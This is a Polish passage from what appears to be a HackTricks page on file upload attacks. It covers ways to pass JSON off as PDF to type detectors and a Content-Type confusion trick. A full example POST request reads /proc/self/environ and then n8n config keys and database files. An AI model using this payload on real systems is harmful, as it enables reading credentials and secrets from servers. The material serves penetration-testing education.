Jak uniknąć wykrywania typu pliku poprzez upload prawidłowego pliku JSON, nawet jeśli nie jest dozwolony, podszywając go pod PDF (techniki z this blog post):

  • mmmagic biblioteka: Dopóki magic bytes %PDF znajdują się w pierwszych 1024 bajtach, jest to uznawane za prawidłowe (zobacz przykład w poście)
  • pdflib biblioteka: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za pdf (zobacz przykład w poście)
  • file binary: Potrafi czytać do 1048576 bajtów z pliku. Po prostu utwórz JSON większy niż ta wartość, tak aby nie mógł sparsować zawartości jako JSON, a następnie umieść wewnątrz JSON początkową część prawdziwego PDF — wtedy uzna go za PDF

Content-Type confusion to arbitrary file read

Niektóre upload handlery ufają sparsowanemu ciału żądania (np. context.getBodyData().files) i później kopiują plik z file.filepath bez wcześniejszego wymuszenia Content-Type: multipart/form-data. Jeśli serwer akceptuje application/json, możesz dostarczyć fałszywy obiekt files wskazujący filepath na dowolną lokalną ścieżkę, zamieniając flow uploadu w prymityw do arbitralnego odczytu plików.

Przykładowy POST przeciwko workflow formularza zwracającego przesłany binarny plik w odpowiedzi HTTP:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend kopiuje file.filepath, więc odpowiedź zwraca zawartość tej ścieżki. Typowy łańcuch: odczytać /proc/self/environ, aby poznać $HOME, a następnie odczytać $HOME/.n8n/config w celu uzyskania kluczy i $HOME/.n8n/database.sqlite w celu uzyskania identyfikatorów użytkowników.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks